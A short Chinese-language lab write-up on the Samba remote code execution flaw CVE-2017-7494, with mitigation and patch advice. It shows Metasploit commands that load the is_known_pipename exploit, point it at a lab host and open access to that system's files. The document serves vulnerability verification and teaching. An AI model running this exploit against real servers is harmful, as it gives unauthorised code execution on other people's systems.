漏洞简介
Samba是在Linux和UNIX系统上实现SMB协议的一个软件，不少IoT设备也使用了Samba。2017年5月24日Samba发布了4.6.4版本，修复了一个严重的远程代码执行漏洞，漏洞编号CVE-2017-7494，攻击者可以利用该漏洞在目标服务器上执行任意代码。2017年5月25日hdm给metasploit提交了该漏洞的exp。2017年5月25日openwrt发布了针对该漏洞的修复补丁，许多IoT设备同样受该漏洞影响。
测试环境
攻击机：kali IP：192.168.0.10
靶 机：debian IP：192.168.0.20
服务：samba: 4.5
漏洞验证
启动Kali执行命令：
msfconsole
msf > use exploit/linux/samba/is_known_pipename
set RHOST 192.168.0.20
run
进入目标系统并查看文件：
cd / ls
验证完成
影响版本：
Samba：3.5 <4.6.4 <4.5.10 <4.4.14。
4.6.4/4.5.10/4.4.14已修复此漏洞。
修复建议：
1、临时方案
在smb.conf的[global]节点下增加 nt pipe support = no选项，重新启动samba服务。
2、官方修复
Samba已发布新版本，可通过更新版本解决。
补丁下载
https://www.samba.org/
此实验仅供学习参考,不得用于其他任何目的，其他违法行为本人不负任何责任,在此申明!